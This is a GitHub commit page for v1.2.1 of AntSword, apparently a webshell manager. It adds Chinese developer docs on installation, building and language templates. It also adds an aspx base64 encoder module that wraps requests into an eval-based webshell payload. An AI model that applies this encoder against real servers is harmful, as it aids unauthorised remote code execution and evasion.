-
Notifications
You must be signed in to change notification settings - Fork 599
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #42 from antoor/v1.2-dev
Update to v1.2.1
- Loading branch information
Showing
42 changed files
with
437 additions
and
152 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,4 @@ | ||
node_modules | ||
static/build | ||
static/build | ||
document/_book | ||
.DS_* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
## 修改组建 | ||
|
||
### 编辑代码 | ||
你可以选择[atom][atom-url]、[sublimeText][st-url]或者[vsCode][vscode-url]作为本项目的开发IDE,也可以选择任何你喜欢的文本编辑器进行编写。 | ||
|
||
### 组建源码 | ||
我们采用了`webpack`进行前端代码构建,但是其中的细节你不需要太多的知识去了解,只需要编辑好代码,然后执行下面命令进行构建编译即可: | ||
``` sh | ||
$ npm run build | ||
``` | ||
|
||
> 该命令执行后,会进行代码监听,如有代码改动则会及时进行构建处理,如若只需编译一次,则直接`Ctrl+C`结束命令即可。 | ||
> 也可以去掉`package.json`中对应命令的`--watch`选项 | ||
[atom-url]: https://atom.io/ | ||
[vscode-url]: https://code.visualstudio.com/ | ||
[st-url]: http://www.sublimetext.com/3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
## 环境安装 | ||
|
||
### 安装node.js | ||
下载安装[nodejs v4.0+](https://nodejs.org/) | ||
|
||
### 下载代码 | ||
``` sh | ||
$ git clone https://github.com/antoor/antSword.git | ||
``` | ||
|
||
### 安装模块 | ||
> 考虑到安装模块过大,加上国内环境等原因可能导致模块安装失败,所以你如果没有梯子,可以尝试一下国内的淘宝npm源:[https://npm.taobao.org/](https://npm.taobao.org/) | ||
``` sh | ||
$ cd antSword | ||
$ npm install | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
## 入门使用 | ||
这里,将会指导你如何进行代码下载、模块安装以及编辑后进行源码组建后运行。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
## 运行程序 | ||
|
||
在进行编辑(可选)然后编译过后,就可以执行如下命令来启动中国蚁剑了,赶紧玩耍吧! | ||
``` sh | ||
$ npm start | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
## 创建模板 | ||
|
||
在语言模板目录`source/language`里,我们拷贝一份`en.jsx`英文模板用来修改使用。 | ||
比如要创建一个日文模板,则把拷贝的`en.jsx`文件重命名为`jp.jsx`即可。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
## 修改模板 | ||
|
||
使用编辑器打开我们创建好的`jp.jsx`语言模板,然后把对应的英文语言模板字符串变量修改为翻译好的日文语言模板字符串即可。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
## 语言模板 | ||
|
||
语言模板是应用一些UI组建以及菜单等所显示的语言模板。 | ||
目前增加了中文、英文两大模板,后期等待更新成熟稳定,将会考虑加入日语、韩语以及其他一些外国朋友们常用的语言。 | ||
|
||
**当然,这个好处就是你可以个性化自定义自己的语言模板啦!** | ||
> 不局限于火星文、非主流杀马特家族专用文、文言文、颜文字等等。 | ||
**目前的英文模板均采用翻译软件进行翻译而来,所以有很多地方看着很别扭或者语法错误一大堆,在此希望有兴趣的朋友能一起改进,谢谢支持!** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
## 注册模板 | ||
|
||
语言模板文件添加后并不是就能生效使用的,我们需要在`source/language/index.jsx`中注册我们的语言模板: | ||
``` js | ||
// 在languages变量中添加我们添加的语言名称即可: | ||
const languages = { | ||
... | ||
'jp': '日本語の' | ||
} | ||
``` | ||
|
||
> 模板注册后,在程序的设置->语言设置里即可看到我们添加的语言模板,选择使用即可。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# 中国蚁剑开发文档 | ||
> **本文档基于`v1.2.0`编写** | ||
> 创建:2016/04/16 | ||
> 作者:蚁逅 <[email protected]> | ||
> http://doc.uyu.us | ||
### 最大自由的修改 | ||
|
||
从HTTP请求数据层面,你可以自定义任何你觉得喜欢的HTTP Header,也可以添加修改核心模板,发送自定义的任何数据包(包括变量、加密解密数据等)。 | ||
当然,在处理数据以及渲染UI层面,如果你愿意花点时间看看代码,会发现实现起来既简单又方便! | ||
**总之,它开源了自己,就相当于把自己全部交给了你。怎么调教进化、驰骋沙场,就看你了。** | ||
|
||
本文档将会从开始入门再到有一点深度地渐进给你讲解:**如何上手玩转中国蚁剑,如何优化打造属于自己的宝剑!** | ||
|
||
### 遵循的开源协议 | ||
|
||
我们目前选择的开源协议是MIT,所以不推荐你对它进行修改后自行打包发布,也不允许你使用它来做一些不合法的坏事。 | ||
**否则由此带来的后果将有你自行承担,并且我们将会追求其相关责任!** | ||
|
||
> 同时,也欢迎各位的参与开发,不管是功能添加修改,还是代码优化重构,甚至注释文档编写,我们都非常欢迎与期待你的一份贡献! | ||
> [https://github.com/antoor/antSword](https://github.com/antoor/antSword) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
# Summary | ||
|
||
* [入门使用](01_install/readme.md) | ||
* [环境安装](01_install/install.md) | ||
* [修改构建](01_install/build.md) | ||
* [运行程序](01_install/start.md) | ||
|
||
* [语言模板](02_language/readme.md) | ||
* [创建模板](02_language/create.md) | ||
* [修改模板](02_language/modify.md) | ||
* [注册模板](02_language/register.md) | ||
|
||
* [脚本模板] | ||
|
||
* [插件开发] | ||
|
||
* [其他问题] | ||
* [修改HTTP函数] | ||
* [数据缓存存储] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
## 中国蚁剑核心模块1.0 | ||
> 开写:2016/04/12 | ||
> 更新:2016/04/24 | ||
`AntSword-Core`是中国蚁剑中最核心的一个模块,它的作用在于根据模板进行自由地增加修改HTTP请求数据,然后返回给用户最终生成的HTTP包数据。 | ||
这样用户就能将它集成在任意支持的地方了。 | ||
|
||
## 模块所需参数 | ||
| 参数名 | 说明 | | ||
| :---- | :--- | | ||
| pwd | shell连接密码(必选 | | ||
| encode | 数据编码格式(可选,默认utf8 | | ||
| encoder | 脚本模块编码器(可选,默认default | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
// | ||
// aspx::base64 编码模块 | ||
// | ||
// :把除了密码的其他参数都base64编码一次 | ||
// | ||
|
||
'use strict'; | ||
|
||
module.exports = (pwd, data) => { | ||
let randomID = `_0x${Math.random().toString(16).substr(2)}`; | ||
data[randomID] = new Buffer(data['_']).toString('base64'); | ||
data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`; | ||
delete data['_']; | ||
return data; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.